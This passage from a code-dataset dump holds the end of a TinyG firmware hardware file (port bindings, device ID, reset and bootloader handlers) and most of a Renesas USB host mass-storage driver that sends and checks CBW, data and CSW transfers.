(hw_version > 6.9) {\n\t\thw.out_port[0] = &PORT_OUT_V7_X;\n\t\thw.out_port[1] = &PORT_OUT_V7_Y;\n\t\thw.out_port[2] = &PORT_OUT_V7_Z;\n\t\thw.out_port[3] = &PORT_OUT_V7_A;\n\t\t} else {\n\t\thw.out_port[0] = &PORT_OUT_V6_X;\n\t\thw.out_port[1] = &PORT_OUT_V6_Y;\n\t\thw.out_port[2] = &PORT_OUT_V6_Z;\n\t\thw.out_port[3] = &PORT_OUT_V6_A;\n\t}\n#endif\n}\n\nvoid hardware_init()\n{\n#ifdef __AVR\n\txmega_init();\t\t\t\t\t\t\t// set system clock\n\t_port_bindings(TINYG_HARDWARE_VERSION);\n\trtc_init();\t\t\t\t\t\t\t\t// real time counter\n#endif\n}\n\n/*\n * _get_id() - get a human readable signature\n *\n * FOR AVR:\n *\tProduce a unique deviceID based on the factory calibration data.\n *\t\tFormat is: 123456-ABC\n *\n *\tThe number part is a direct readout of the 6 digit lot number\n *\tThe alpha is the low 5 bits of wafer number and XY coords in printable ASCII\n *\tRefer to NVM_PROD_SIGNATURES_t in iox192a3.h for details.\n *\n * FOR ARM:\n *\tCurrently not implemented\n */\n\n/* UNUSED\nstatic uint8_t _read_calibration_byte(uint8_t index)\n{\n\tNVM_CMD = NVM_NV_READ_CALIB_ROW_gc; \t// Load NVM Command register to read the calibration row\n\tuint8_t result = pgm_read_byte(index);\n\tNVM_CMD = NVM_NV_NO_OPERATION_gc; \t \t// Clean up NVM Command register\n\treturn(result);\n}\n*/\n\nenum {\n\tLOTNUM0=8, // Lot Number Byte 0, ASCII\n\tLOTNUM1, // Lot Number Byte 1, ASCII\n\tLOTNUM2, // Lot Number Byte 2, ASCII\n\tLOTNUM3, // Lot Number Byte 3, ASCII\n\tLOTNUM4, // Lot Number Byte 4, ASCII\n\tLOTNUM5, // Lot Number Byte 5, ASCII\n\tWAFNUM =16, // Wafer Number\n\tCOORDX0=18, // Wafer Coordinate X Byte 0\n\tCOORDX1, // Wafer Coordinate X Byte 1\n\tCOORDY0, // Wafer Coordinate Y Byte 0\n\tCOORDY1, // Wafer Coordinate Y Byte 1\n};\n\nstatic void _get_id(char_t *id)\n{\n#ifdef __AVR\n\tchar printable[33] = {\"ABCDEFGHJKLMNPQRSTUVWXYZ23456789\"};\n\tuint8_t i;\n\n\tNVM_CMD = NVM_CMD_READ_CALIB_ROW_gc; \t// Load NVM Command register to read the calibration row\n\n\tfor (i=0; i<6; i++) {\n\t\tid[i] = pgm_read_byte(LOTNUM0 + i);\n\t}\n\tid[i++] = '-';\n\tid[i++] = printable[(pgm_read_byte(WAFNUM) & 0x1F)];\n\tid[i++] = printable[(pgm_read_byte(COORDX0) & 0x1F)];\n//\tid[i++] = printable[(pgm_read_byte(COORDX1) & 0x1F)];\n\tid[i++] = printable[(pgm_read_byte(COORDY0) & 0x1F)];\n//\tid[i++] = printable[(pgm_read_byte(COORDY1) & 0x1F)];\n\tid[i] = 0;\n\n\tNVM_CMD = NVM_CMD_NO_OPERATION_gc; \t \t// Clean up NVM Command register\n#endif\n}\n\n/*\n * Hardware Reset Handlers\n *\n * hw_request_hard_reset()\n * hw_hard_reset()\t\t\t- hard reset using watchdog timer\n * hw_hard_reset_handler()\t- controller's rest handler\n */\nvoid hw_request_hard_reset() { cs.hard_reset_requested = true; }\n\nvoid hw_hard_reset(void)\t\t\t// software hard reset using the watchdog timer\n{\n#ifdef __AVR\n\twdt_enable(WDTO_15MS);\n\twhile (true);\t\t\t\t\t// loops for about 15ms then resets\n#endif\n#ifdef __RX\n\t/* TODO */\n\twhile (true);\t\t\t\t\t// loops for about 15ms then resets\n#endif\n}\n\nstat_t hw_hard_reset_handler(void)\n{\n\tif (cs.hard_reset_requested == false)\n return (STAT_NOOP);\n\thw_hard_reset();\t\t\t\t// hard reset - identical to hitting RESET button\n\treturn (STAT_EAGAIN);\n}\n\n/*\n * Bootloader Handlers\n *\n * hw_request_bootloader()\n * hw_request_bootloader_handler() - executes a software reset using CCPWrite\n */\n\nvoid hw_request_bootloader() { cs.bootloader_requested = true;}\n\nstat_t hw_bootloader_handler(void)\n{\n#ifdef __AVR\n\tif (cs.bootloader_requested == false)\n return (STAT_NOOP);\n\tcli();\n\tCCPWrite(&RST.CTRL, RST_SWRST_bm); // fire a software reset\n#endif\n\treturn (STAT_EAGAIN);\t\t\t\t// never gets here but keeps the compiler happy\n}\n\n/***** END OF SYSTEM FUNCTIONS *****/\n\n\n/***********************************************************************************\n * CONFIGURATION AND INTERFACE FUNCTIONS\n * Functions to get and set variables from the cfgArray table\n ***********************************************************************************/\n\n/*\n * hw_get_id() - get device ID (signature)\n */\n\nstat_t hw_get_id(nvObj_t *nv)\n{\n\tchar_t tmp[SYS_ID_LEN];\n\t_get_id(tmp);\n\tnv->valuetype = TYPE_STRING;\n\tritorno(nv_copy_string(nv, tmp));\n\treturn (STAT_OK);\n}\n\n/*\n * hw_run_boot() - invoke boot form the cfgArray\n */\nstat_t hw_run_boot(nvObj_t *nv)\n{\n\thw_request_bootloader();\n\treturn(STAT_OK);\n}\n\n/*\n * hw_set_hv() - set hardware version number\n */\nstat_t hw_set_hv(nvObj_t *nv)\n{\n\tif (nv->value > TINYG_HARDWARE_VERSION_MAX)\n return (STAT_INPUT_EXCEEDS_MAX_VALUE);\n\tset_flt(nv);\t\t\t\t\t// record the hardware version\n\t_port_bindings(nv->value);\t\t// reset port bindings\n\tswitch_init();\t\t\t\t\t// re-initialize the GPIO ports\n//++++\tgpio_init();\t\t\t\t// re-initialize the GPIO ports\n\treturn (STAT_OK);\n}\n\n/***********************************************************************************\n * TEXT MODE SUPPORT\n * Functions to print variables from the cfgArray table\n ***********************************************************************************/\n\n#ifdef __TEXT_MODE\n\nstatic const char fmt_fb[] PROGMEM = \"[fb] firmware build%18.2f\\n\";\nstatic const char fmt_fv[] PROGMEM = \"[fv] firmware version%16.2f\\n\";\nstatic const char fmt_hp[] PROGMEM = \"[hp] hardware platform%15.2f\\n\";\nstatic const char fmt_hv[] PROGMEM = \"[hv] hardware version%16.2f\\n\";\nstatic const char fmt_id[] PROGMEM = \"[id] TinyG ID%30s\\n\";\n\nvoid hw_print_fb(nvObj_t *nv) { text_print_flt(nv, fmt_fb);}\nvoid hw_print_fv(nvObj_t *nv) { text_print_flt(nv, fmt_fv);}\nvoid hw_print_hp(nvObj_t *nv) { text_print_flt(nv, fmt_hp);}\nvoid hw_print_hv(nvObj_t *nv) { text_print_flt(nv, fmt_hv);}\nvoid hw_print_id(nvObj_t *nv) { text_print_str(nv, fmt_id);}\n\n#endif //__TEXT_MODE\n\n#ifdef __cplusplus\n}\n#endif\n" }, { "alpha_fraction": 0.4946548640727997, "alphanum_fraction": 0.5091325640678406, "avg_line_length": 38.92560958862305, "blob_id": "f430911739b7329581685454be72974bc7933657", "content_id": "4d60d2843a3befa584a00dd06372de372a31f9bb", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 32740, "license_type": "no_license", "max_line_length": 120, "num_lines": 820, "path": "/r_usb_hmsc/src/r_usb_hmsc_hci.c", "repo_name": "ustropo/MT01", "src_encoding": "UTF-8", "text": "/***********************************************************************************************************************\n* DISCLAIMER\n* This software is supplied by Renesas Electronics Corporation and is only intended for use with Renesas products. No\n* other uses are authorized. This software is owned by Renesas Electronics Corporation and is protected under all\n* applicable laws, including copyright laws.\n* THIS SOFTWARE IS PROVIDED \"AS IS\" AND RENESAS MAKES NO WARRANTIES REGARDING\n* THIS SOFTWARE, WHETHER EXPRESS, IMPLIED OR STATUTORY, INCLUDING BUT NOT LIMITED TO WARRANTIES OF MERCHANTABILITY,\n* FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT. ALL SUCH WARRANTIES ARE EXPRESSLY DISCLAIMED. TO THE MAXIMUM\n* EXTENT PERMITTED NOT PROHIBITED BY LAW, NEITHER RENESAS ELECTRONICS CORPORATION NOR ANY OF ITS AFFILIATED COMPANIES\n* SHALL BE LIABLE FOR ANY DIRECT, INDIRECT, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES FOR ANY REASON RELATED TO THIS\n* SOFTWARE, EVEN IF RENESAS OR ITS AFFILIATES HAVE BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES.\n* Renesas reserves the right, without notice, to make changes to this software and to discontinue the availability of\n* this software. By using this software, you agree to the additional terms and conditions found by accessing the\n* following link:\n* http://www.renesas.com/disclaimer\n*\n* Copyright (C) 2014(2015) Renesas Electronics Corporation. All rights reserved.\n***********************************************************************************************************************/\n/***********************************************************************************************************************\n* File Name : r_usb_hmsc_hci.c\n* Description : USB Host MSC BOT driver\n***********************************************************************************************************************/\n/**********************************************************************************************************************\n* History : DD.MM.YYYY Version Description\n* : 04.01.2014 1.00 First Release\n* : 30.01.2015 1.01 Support Multi device.\n***********************************************************************************************************************/\n\n/******************************************************************************\nIncludes <System Includes> , \"Project Includes\"\n******************************************************************************/\n#include \"r_usb_basic_if.h\"\n#include \"r_usb_hatapi_define.h\" /* Peripheral ATAPI Device extern */\n#include \"r_usb_hmsc_define.h\" /* Host Mass Storage Class Driver define */\n#include \"r_usb_hmsc_extern.h\" /* Host MSC grobal define */\n#include \"r_usb_api.h\"\n#include \"r_usb_hmsc_api.h\"\n#include \"r_usb_hmsc_config.h\"\n\n/******************************************************************************\nRenesas Abstracted HMSC Driver functions\n******************************************************************************/\n\n/******************************************************************************\nFunction Name : usb_hmsc_SendCbw\nDescription : Send CBW\nArguments : uint16_t drvnum : Drive Number\nReturn value : uint16_t : Error Code\n******************************************************************************/\nuint16_t usb_hmsc_SendCbw(USB_UTR_t *ptr, uint16_t drvnum)\n{\n USB_ER_t err;\n uint16_t msgnum;\n\n msgnum = usb_hmsc_SmpDrive2Msgnum(ptr, drvnum);\n if( USB_ERROR == msgnum )\n {\n return USB_HMSC_CBW_ERR;\n }\n\n /* Set CBW TAG */\n usb_hmsc_CbwTagCount(ptr, msgnum);\n\n /* Request CBW */\n /* Device number */\n usb_ghmsc_TransData[ptr->ip][msgnum].keyword = msgnum;\n /* Transfer data address */\n usb_ghmsc_TransData[ptr->ip][msgnum].tranadr = (void*)&usb_ghmsc_Cbw[ptr->ip][msgnum];\n /* Transfer data length */\n usb_ghmsc_TransData[ptr->ip][msgnum].tranlen = (uint32_t)USB_MSC_CBWLENGTH;\n /* Not control transfer */\n usb_ghmsc_TransData[ptr->ip][msgnum].setup = 0;\n usb_ghmsc_TransData[ptr->ip][msgnum].segment = USB_TRAN_END;\n /* Call Back Function Info */\n usb_ghmsc_TransData[ptr->ip][msgnum].complete = (USB_CB_t)&usb_cstd_DummyFunction;\n\n err = usb_hmsc_Submitutr(ptr, (uint16_t)USB_DATA_NONE, &usb_ghmsc_TransData[ptr->ip][msgnum]);\n\n return (err);\n} /* eof usb_hmsc_SendCbw() */\n\n/******************************************************************************\nFunction Name : usb_hmsc_SendCbwReq\nDescription : Send CBW\nArguments : uint16_t drvnum : Drive Number\nReturn value : uint16_t : Error Code\n******************************************************************************/\nuint16_t usb_hmsc_SendCbwReq(USB_UTR_t *ptr, uint16_t drvnum)\n{\n USB_ER_t err;\n uint16_t msgnum;\n\n msgnum = usb_hmsc_SmpDrive2Msgnum(ptr, drvnum);\n if( USB_ERROR == msgnum )\n {\n return USB_HMSC_SUBMIT_ERR;\n }\n /* Call Back Function Info */\n usb_ghmsc_TransData[ptr->ip][msgnum].complete = &usb_hmsc_CheckResult;\n\n err = usb_hmsc_SubmitutrReq(ptr, (uint16_t)USB_DATA_NONE, &usb_ghmsc_TransData[ptr->ip][msgnum]);\n if( err != USB_E_OK ) \n {\n USB_PRINTF1(\"### Mass Storage Device Class submit error(drive:%d) !\\n\", drvnum);\n return USB_HMSC_SUBMIT_ERR;\n }\n return (err);\n} /* eof usb_hmsc_SendCbwReq() */\n\n/******************************************************************************\nFunction Name : usb_hmsc_SendCbwCheck\nDescription : Check send CBW \nArguments : uint16_t drvnum : Drive Number\n : uint16_t hmsc_retval : Return Value\nReturn value : uint16_t : Error Code\n******************************************************************************/\nuint16_t usb_hmsc_SendCbwCheck(USB_UTR_t *ptr, uint16_t drvnum, uint16_t hmsc_retval)\n{\n uint16_t pipeno, msgnum;\n USB_CLSINFO_t mess;\n\n msgnum = usb_hmsc_SmpDrive2Msgnum(ptr, drvnum);\n if( USB_ERROR == msgnum )\n {\n return USB_HMSC_CBW_ERR;\n }\n /* NonOS */\n switch( hmsc_retval ) \n {\n case USB_DATA_NONE: /* Send CBW */\n pipeno = R_usb_hmsc_Information(ptr->ip, usb_ghmsc_OutPipe[ptr->ip][msgnum][0]);\n usb_ghmsc_OutPipe[ptr->ip][msgnum][1] = usb_ghmsc_TransData[ptr->ip][msgnum].pipectr;\n return USB_HMSC_OK;\n break;\n case USB_DATA_STALL: /* Stall */\n USB_PRINTF1(\"*** CBW Transfer STALL(drive:%d) !\\n\", drvnum);\n usb_shmsc_Process[ptr->ip] = USB_MSG_HMSC_CBW_ERR;\n usb_shmsc_StallErrSeq[ptr->ip] = USB_SEQ_0;\n mess.keyword = drvnum;\n\n mess.ip = ptr->ip;\n mess.ipp = ptr->ipp;\n mess.msginfo = usb_shmsc_Process[ptr->ip];\n usb_hmsc_SpecifiedPath(&mess);\n return USB_DATA_STALL;\n break;\n case USB_DATA_TMO: /* Timeout */\n USB_PRINTF1(\"### CBW Transfer timeout ERROR(drive:%d) !\\n\", drvnum);\n pipeno = R_usb_hmsc_Information(ptr->ip, usb_ghmsc_OutPipe[ptr->ip][msgnum][0]);\n R_usb_hstd_TransferEnd(ptr, pipeno, (uint16_t)USB_DATA_TMO);\n break;\n case USB_DATA_ERR:\n USB_PRINTF1(\"### CBW Transfer ERROR(drive:%d) !\\n\", drvnum);\n break;\n default:\n USB_PRINTF1(\"### CBW Transfer error(drive:%d) !\\n\", drvnum);\n break;\n }\n return USB_HMSC_CBW_ERR;\n} /* eof usb_hmsc_SendCbwCheck() */\n\n/******************************************************************************\nFunction Name : usb_hmsc_GetData\nDescription : Receive Data request\nArguments : uint16_t drvnum : Drive Number\n : uint8_t *buff : Receive Data Buffer Address\n : uint32_t size : Receive Data Size\nReturn value : uint16_t : Error Code\n******************************************************************************/\nuint16_t usb_hmsc_GetData(USB_UTR_t *ptr, uint16_t drvnum, uint8_t *buff, uint32_t size)\n{\n uint16_t msgnum;\n USB_ER_t err;\n\n msgnum = usb_hmsc_SmpDrive2Msgnum(ptr, drvnum);\n if( USB_ERROR == msgnum )\n {\n USB_PRINTF1(\"### usb_hmsc_GetData [usb_hmsc_SmpDrive2Msgnum]error(drvnum:%d) !\\n\", drvnum);\n return USB_HMSC_DAT_RD_ERR;\n }\n /* Device number */\n usb_ghmsc_ReceiveData[ptr->ip][msgnum].keyword = msgnum;\n /* Transfer data address */\n usb_ghmsc_ReceiveData[ptr->ip][msgnum].tranadr = (void*)buff;\n /* Transfer data length */\n usb_ghmsc_ReceiveData[ptr->ip][msgnum].tranlen = size;\n /* Not control transfer */\n usb_ghmsc_ReceiveData[ptr->ip][msgnum].setup = 0;\n usb_ghmsc_ReceiveData[ptr->ip][msgnum].segment = USB_TRAN_END;\n /* Call Back Function Info */\n usb_ghmsc_ReceiveData[ptr->ip][msgnum].complete = (USB_CB_t)&usb_cstd_DummyFunction;\n\n err = usb_hmsc_Submitutr(ptr, (uint16_t)USB_DATA_OK, &usb_ghmsc_ReceiveData[ptr->ip][msgnum]);\n return (err);\n} /* eof usb_hmsc_GetData() */\n\n/******************************************************************************\nFunction Name : usb_hmsc_GetDataReq\nDescription : Get Data request\nArguments : uint16_t drvnum : Drive Number\n : uint8_t *buff : Not use\n : uint32_t size : Not use\nReturn value : uint16_t : Error Code\n******************************************************************************/\nuint16_t usb_hmsc_GetDataReq(USB_UTR_t *ptr, uint16_t drvnum, uint8_t *buff, uint32_t size)\n{\n USB_ER_t err;\n uint16_t msgnum;\n\n msgnum = usb_hmsc_SmpDrive2Msgnum(ptr, drvnum);\n if( USB_ERROR == msgnum )\n {\n USB_PRINTF1(\"### usb_hmsc_GetDataReq [usb_hmsc_SmpDrive2Msgnum]error(drvnum:%d) !\\n\", drvnum);\n return USB_HMSC_DAT_RD_ERR;\n }\n\n /* Call Back Function Info */\n usb_ghmsc_ReceiveData[ptr->ip][msgnum].complete = &usb_hmsc_CheckResult;\n\n err = usb_hmsc_SubmitutrReq(ptr, (uint16_t)USB_DATA_OK, &usb_ghmsc_ReceiveData[ptr->ip][msgnum]);\n if( err != USB_E_OK ) \n {\n USB_PRINTF1(\"### Mass Storage Device Class submit error(drive:%d) !\\n\", drvnum);\n return USB_HMSC_SUBMIT_ERR;\n }\n return (err);\n} /* eof usb_hmsc_GetDataReq() */\n\n/******************************************************************************\nFunction Name : usb_hmsc_GetDataCheck\nDescription : Check Get Data \nArguments : uint16_t drvnum : Drive Number\n : uint16_t hmsc_retval : Return Value\nReturn value : uint16_t : Error Code\n******************************************************************************/\nuint16_t usb_hmsc_GetDataCheck(USB_UTR_t *ptr, uint16_t drvnum, uint16_t hmsc_retval)\n{\n uint16_t pipeno, msgnum;\n \n msgnum = usb_hmsc_SmpDrive2Msgnum(ptr, drvnum);\n if( USB_ERROR == msgnum )\n {\n USB_PRINTF1(\"### usb_hmsc_GetDataCheck 1 [usb_hmsc_SmpDrive2Msgnum]error(drvnum:%d) !\\n\", drvnum);\n return USB_HMSC_DAT_RD_ERR;\n }\n\n /* NonOS */\n switch( hmsc_retval ) \n {\n case USB_DATA_SHT:\n /* Continue */\n case USB_DATA_OK:\n pipeno = R_usb_hmsc_Information(ptr->ip, usb_ghmsc_InPipe[ptr->ip][msgnum][0]);\n usb_ghmsc_InPipe[ptr->ip][msgnum][1] = usb_ghmsc_ReceiveData[ptr->ip][msgnum].pipectr;\n return USB_HMSC_OK;\n break;\n case USB_DATA_STALL:\n USB_PRINTF1(\"*** GetData Read STALL(drive:%d) !\\n\", drvnum);\n R_usb_hmsc_ClearStall(ptr, (uint16_t)USB_DATA_OK, msgnum, (USB_CB_t)usb_hmsc_ClearStallCheck2);\n return USB_HMSC_STALL;\n break;\n case USB_DATA_TMO:\n USB_PRINTF1(\"### hmsc_Data Read timeout ERROR(drive:%d) !\\n\", drvnum);\n pipeno = R_usb_hmsc_Information(ptr->ip, usb_ghmsc_InPipe[ptr->ip][msgnum][0]);\n R_usb_hstd_TransferEnd(ptr, pipeno, (uint16_t)USB_DATA_TMO);\n break;\n case USB_DATA_ERR:\n USB_PRINTF1(\"### hmsc_Data Read ERROR(drive:%d) !\\n\", drvnum);\n break;\n case USB_DATA_OVR:\n USB_PRINTF1(\"### hmsc_Data receive over(drive:%d) !\\n\", drvnum);\n break;\n default:\n USB_PRINTF1(\"### hmsc_Data Read error(drive:%d) !\\n\", drvnum);\n break;\n }\n USB_PRINTF1(\"### usb_hmsc_GetDataCheck 2 [usb_hmsc_SmpDrive2Msgnum]error(drvnum:%d) !\\n\", drvnum);\n return USB_HMSC_DAT_RD_ERR;\n} /* eof usb_hmsc_GetDataCheck() */\n\n/******************************************************************************\nFunction Name : usb_hmsc_SendData\nDescription : Send Pipe Data\nArguments : uint16_t drvnum : Drive Number\n : uint8_t *buff : Data Info Address\n : uint32_t size : Data Size\nReturn value : uint16_t : Error Code(USB_DONE)\n******************************************************************************/\nuint16_t usb_hmsc_SendData(USB_UTR_t *ptr, uint16_t drvnum, uint8_t *buff, uint32_t size)\n{\n uint16_t msgnum;\n USB_ER_t err;\n\n msgnum = usb_hmsc_SmpDrive2Msgnum(ptr, drvnum);\n if( USB_ERROR == msgnum )\n {\n return USB_HMSC_DAT_WR_ERR;\n }\n /* Device number */\n usb_ghmsc_TransData[ptr->ip][msgnum].keyword = msgnum;\n /* Transfer data address */\n usb_ghmsc_TransData[ptr->ip][msgnum].tranadr = (void*)buff;\n /* Transfer data length */\n usb_ghmsc_TransData[ptr->ip][msgnum].tranlen = size;\n /* Not control transfer */\n usb_ghmsc_TransData[ptr->ip][msgnum].setup = 0;\n usb_ghmsc_TransData[ptr->ip][msgnum].segment = USB_TRAN_END;\n /* Call Back Function Info */\n usb_ghmsc_TransData[ptr->ip][msgnum].complete\n = (USB_CB_t)&usb_cstd_DummyFunction;\n\n err = usb_hmsc_Submitutr(ptr, (uint16_t)USB_DATA_NONE\n , &usb_ghmsc_TransData[ptr->ip][msgnum]);\n return err;\n} /* eof usb_hmsc_SendData() */\n\n/******************************************************************************\nFunction Name : usb_hmsc_SendDataReq\nDescription : Send Pipe Data\nArguments : uint16_t drvnum : Drive Number\n : uint8_t *buff : Data Info Address\n : uint32_t size : Data Size\nReturn value : uint16_t : Error Code\n******************************************************************************/\nuint16_t usb_hmsc_SendDataReq(USB_UTR_t *ptr, uint16_t drvnum, uint8_t *buff, uint32_t size)\n{\n USB_ER_t err;\n uint16_t msgnum;\n\n msgnum = usb_hmsc_SmpDrive2Msgnum(ptr, drvnum);\n if( USB_ERROR == msgnum )\n {\n return USB_HMSC_DAT_WR_ERR;\n }\n /* Call Back Function Info */\n usb_ghmsc_TransData[ptr->ip][msgnum].complete = &usb_hmsc_CheckResult;\n\n err = usb_hmsc_SubmitutrReq(ptr, (uint16_t)USB_DATA_NONE, &usb_ghmsc_TransData[ptr->ip][msgnum]);\n if( err != USB_E_OK ) \n {\n USB_PRINTF1(\"### Mass Storage Device Class submit error(drive:%d) !\\n\", drvnum);\n return USB_HMSC_SUBMIT_ERR;\n }\n return (err);\n} /* eof usb_hmsc_SendDataReq() */\n\n/******************************************************************************\nFunction Name : usb_hmsc_SendDataCheck\nDescription : Check Send Data\nArguments : uint16_t drvnum : Drive Number\n : uint16_t hmsc_retval : Return Value\nReturn value : uint16_t : Error Code\n******************************************************************************/\nuint16_t usb_hmsc_SendDataCheck(USB_UTR_t *ptr, uint16_t drvnum, uint16_t hmsc_retval)\n{\n uint16_t pipeno, msgnum;\n \n msgnum = usb_hmsc_SmpDrive2Msgnum(ptr, drvnum);\n if( USB_ERROR == msgnum )\n {\n return USB_HMSC_DAT_WR_ERR;\n }\n\n switch( hmsc_retval ) \n {\n case USB_DATA_NONE:\n pipeno = R_usb_hmsc_Information(ptr->ip, usb_ghmsc_OutPipe[ptr->ip][msgnum][0]);\n usb_ghmsc_OutPipe[ptr->ip][msgnum][1] = usb_ghmsc_TransData[ptr->ip][msgnum].pipectr;\n return USB_HMSC_OK;\n break;\n case USB_DATA_STALL:\n USB_PRINTF1(\"*** hmsc_Data Write STALL(drive:%d) !\\n\", drvnum);\n R_usb_hmsc_ClearStall(ptr, (uint16_t)USB_DATA_NONE, msgnum, (USB_CB_t)usb_hmsc_ClearStallCheck2);\n return USB_HMSC_STALL;\n break;\n case USB_DATA_TMO:\n USB_PRINTF1(\"### hmsc_Data Write timeout ERROR(drive:%d) !\\n\", drvnum);\n pipeno = R_usb_hmsc_Information(ptr->ip, usb_ghmsc_OutPipe[ptr->ip][msgnum][0]);\n R_usb_hstd_TransferEnd(ptr, pipeno, (uint16_t)USB_DATA_TMO);\n break;\n case USB_DATA_ERR:\n USB_PRINTF1(\"### hmsc_Data Write ERROR(drive:%d) !\\n\", drvnum);\n break;\n default:\n USB_PRINTF1(\"### hmsc_Data Write error(drive:%d) !\\n\", drvnum);\n break;\n }\n return USB_HMSC_DAT_WR_ERR;\n} /* eof usb_hmsc_SendDataCheck() */\n\n/******************************************************************************\nFunction Name : usb_hmsc_GetCsw\nDescription : Receive CSW\nArguments : uint16_t drvnum : Drive Number\nReturn value : uint16_t : Error Code\n******************************************************************************/\nuint16_t usb_hmsc_GetCsw(USB_UTR_t *ptr, uint16_t drvnum)\n{\n uint16_t msgnum;\n USB_ER_t err;\n\n msgnum = usb_hmsc_SmpDrive2Msgnum(ptr, drvnum);\n if( USB_ERROR == msgnum )\n {\n return USB_HMSC_CSW_ERR;\n }\n\n /* Request */\n /* Device number */\n usb_ghmsc_ReceiveData[ptr->ip][msgnum].keyword = msgnum;\n /* Transfer data address */\n usb_ghmsc_ReceiveData[ptr->ip][msgnum].tranadr = (void*)&usb_ghmsc_Csw[ptr->ip][msgnum];\n /* Transfer data length */\n usb_ghmsc_ReceiveData[ptr->ip][msgnum].tranlen = (uint32_t)USB_MSC_CSW_LENGTH;\n /* Not control transfer */\n usb_ghmsc_ReceiveData[ptr->ip][msgnum].setup = 0;\n usb_ghmsc_ReceiveData[ptr->ip][msgnum].segment = USB_TRAN_END;\n /* Call Back Function Info */\n usb_ghmsc_ReceiveData[ptr->ip][msgnum].complete = (USB_CB_t)&usb_cstd_DummyFunction;\n\n err = usb_hmsc_Submitutr(ptr, (uint16_t)USB_DATA_OK, &usb_ghmsc_ReceiveData[ptr->ip][msgnum]);\n return err;\n} /* eof usb_hmsc_GetCsw() */\n\n/******************************************************************************\nFunction Name : usb_hmsc_GetCswReq\nDescription : Request Receive CSW\nArguments : uint16_t drvnum : Drive Number\nReturn value : uint16_t : Error Code\n******************************************************************************/\nuint16_t usb_hmsc_GetCswReq(USB_UTR_t *ptr, uint16_t drvnum)\n{\n USB_ER_t err;\n uint16_t msgnum;\n\n msgnum = usb_hmsc_SmpDrive2Msgnum(ptr, drvnum);\n if( USB_ERROR == msgnum )\n {\n return USB_HMSC_CSW_ERR;\n }\n\n /* Transfer data length */\n usb_ghmsc_ReceiveData[ptr->ip][msgnum].tranlen = (uint32_t)USB_MSC_CSW_LENGTH;\n /* Call Back Function Info */\n usb_ghmsc_ReceiveData[ptr->ip][msgnum].complete = &usb_hmsc_CheckResult;\n\n err = usb_hmsc_SubmitutrReq(ptr, (uint16_t)USB_DATA_OK, &usb_ghmsc_ReceiveData[ptr->ip][msgnum]);\n if( err != USB_E_OK ) \n {\n USB_PRINTF1(\"### Mass Storage Device Class submit error(drive:%d) !\\n\", drvnum);\n return USB_HMSC_SUBMIT_ERR;\n }\n return (err);\n} /* eof usb_hmsc_GetCswReq() */\n\n/******************************************************************************\nFunction Name : usb_hmsc_GetCswCheck\nDescription : Check Receive CSW\nArguments : uint16_t drvnum : Drive Number\n : uint16_t hmsc_retval : Return Value\nReturn value : uint16_t : Error Code\n******************************************************************************/\nuint16_t usb_hmsc_GetCswCheck(USB_UTR_t *ptr, uint16_t drvnum, uint16_t hmsc_retval)\n{\n uint16_t pipeno, msgnum;\n\n msgnum = usb_hmsc_SmpDrive2Msgnum(ptr, drvnum);\n if( USB_ERROR == msgnum )\n {\n return USB_HMSC_CSW_ERR;\n }\n\n switch( hmsc_retval ) \n {\n case USB_DATA_SHT:\n /* Continue */\n case USB_DATA_OK:\n /* CSW Check */\n pipeno = R_usb_hmsc_Information(ptr->ip, usb_ghmsc_InPipe[ptr->ip][msgnum][0]);\n usb_ghmsc_InPipe[ptr->ip][msgnum][1] = usb_ghmsc_ReceiveData[ptr->ip][msgnum].pipectr;\n return usb_hmsc_CheckCsw(ptr, drvnum);\n break;\n case USB_DATA_STALL:\n /* Stall */\n USB_PRINTF1(\"*** GetCSW Transfer STALL(drive:%d) !\\n\", drvnum);\n return USB_MSG_HMSC_DATA_STALL;\n break;\n case USB_DATA_TMO:\n /* Timeout */\n USB_PRINTF1(\"### usb_hmscCSW Transfer timeout ERROR(drive:%d) !\\n\", drvnum);\n pipeno = R_usb_hmsc_Information(ptr->ip, usb_ghmsc_InPipe[ptr->ip][msgnum][0]);\n R_usb_hstd_TransferEnd(ptr, pipeno, (uint16_t)USB_DATA_TMO);\n break;\n case USB_DATA_ERR:\n USB_PRINTF1(\"### usb_hmscCSW Transfer ERROR(drive:%d) !\\n\"\n , drvnum);\n break;\n case USB_DATA_OVR:\n USB_PRINTF1(\"### usb_hmscCSW receive over(drive:%d) !\\n\", drvnum);\n break;\n default:\n USB_PRINTF1(\"### usb_hmscCSW Transfer error(drive:%d) !\\n\", drvnum);\n break;\n }\n return USB_HMSC_CSW_ERR;\n} /* eof usb_hmsc_GetCswCheck() */\n\n/******************************************************************************\nFunction Name : usb_hmsc_GetStringInfoCheck\nDescription : Check Get string descriptor infomation\nArguments : uint16_t devaddr : Device Address\nReturn value : uint16_t : Error Code\n******************************************************************************/\nuint16_t usb_hmsc_GetStringInfoCheck(USB_UTR_t *ptr, uint16_t devaddr)\n{\n/* Condition compilation by the difference of useful function */\n #ifdef USB_DEBUGPRINT_PP\n uint32_t j;\n uint8_t pdata[32];\n #endif /* USB_DEBUGPRINT_PP */\n\n if( usb_ghmsc_ClassData[ptr->ip][0] < (uint8_t)(30 * 2 + 2) ) \n {\n USB_PRINTF0(\"*** Serial Number short\\n\");\n usb_ghmsc_ClassData[ptr->ip][0] = (uint8_t)(usb_ghmsc_ClassData[ptr->ip][0] / 2);\n usb_ghmsc_ClassData[ptr->ip][0] = (uint8_t)(usb_ghmsc_ClassData[ptr->ip][0] - 1);\n } \n else \n {\n usb_ghmsc_ClassData[ptr->ip][0] = 30;\n }\n/* Condition compilation by the difference of useful function */\n #ifdef USB_DEBUGPRINT_PP\n for( j = (uint16_t)0; j < usb_ghmsc_ClassData[ptr->ip][0]; j++ ) \n {\n pdata[j] = usb_ghmsc_ClassData[ptr->ip][j * (uint16_t)2 + (uint16_t)2];\n }\n pdata[usb_ghmsc_ClassData[ptr->ip][0]] = 0;\n USB_PRINTF1(\" Serial Number : %s\\n\", pdata);\n if( usb_ghmsc_ClassData[ptr->ip][0] < (uint8_t)(12 * 2 + 2) ) \n {\n }\n #endif /* USB_DEBUGPRINT_PP */\n return USB_DONE;\n} /* eof usb_hmsc_GetStringInfoCheck() */\n\n/******************************************************************************\nFunction Name : usb_hmsc_GetMaxUnitCheck\nDescription : Check Get Max LUN request\nArgument : uint16_t err : Error Code\nReturn value : USB_ER_t : Error Code\n******************************************************************************/\nuint16_t 